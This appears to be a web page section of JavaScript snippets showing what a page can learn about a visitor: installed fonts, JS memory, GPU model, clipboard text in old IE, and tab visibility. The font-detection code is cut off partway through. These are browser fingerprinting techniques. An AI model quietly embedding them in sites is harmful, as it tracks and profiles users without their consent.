Extra

Detect installed font (and the os)

var Detector = function() {

		// and if it doesn't match all 3 then that font is not available.
		var baseFonts = ['monospace', 'sans-serif', 'serif'];

		// And we use a LLi so that the same matching fonts can get separated
		var testString = "mmmmmmmmmmlli";

		//we test using 72px font size, we may use any size. I guess larger the better.
		var testSize = '72px';

		var h = document.getElementsByTagName("body")[0];
		// create a SPAN in the document to get the width of the text we use to test
		var s = document.createElement("span");

Get memory information

Supported only by some old browser

data = "totalJSHeapSize="+console.memory.totalJSHeapSize+";jsHeapSizeLimit="+console.memory.jsHeapSizeLimit+";usedJSHeapSize="+console.memory.usedJSHeapSize;

Get GPU information

Supported only by some (probably old) browser

var canvas = document.createElement("canvas");
gl = canvas.getContext("experimental-webgl");
if (gl==null) data="Unable to retrieve this information";
else data = "GPU: "+gl.getParameter(gl.getExtension("WEBGL_debug_renderer_info").UNMASKED_RENDERER_WEBGL)+" "+gl.getParameter(gl.getExtension("WEBGL_debug_renderer_info").UNMASKED_VENDOR_WEBGL);

Get text in the clipboard

Only for IE, ask for permission

data=window.clipboardData.getData('Text');

Know if the page is hidden

It's true only when is opened another tab or the browser is minimized

function isPageHidden(){
     return document.hidden || document.msHidden || document.webkitHidden || document.mozHidden;
}
data="Page hidden: "+isPageHidden();
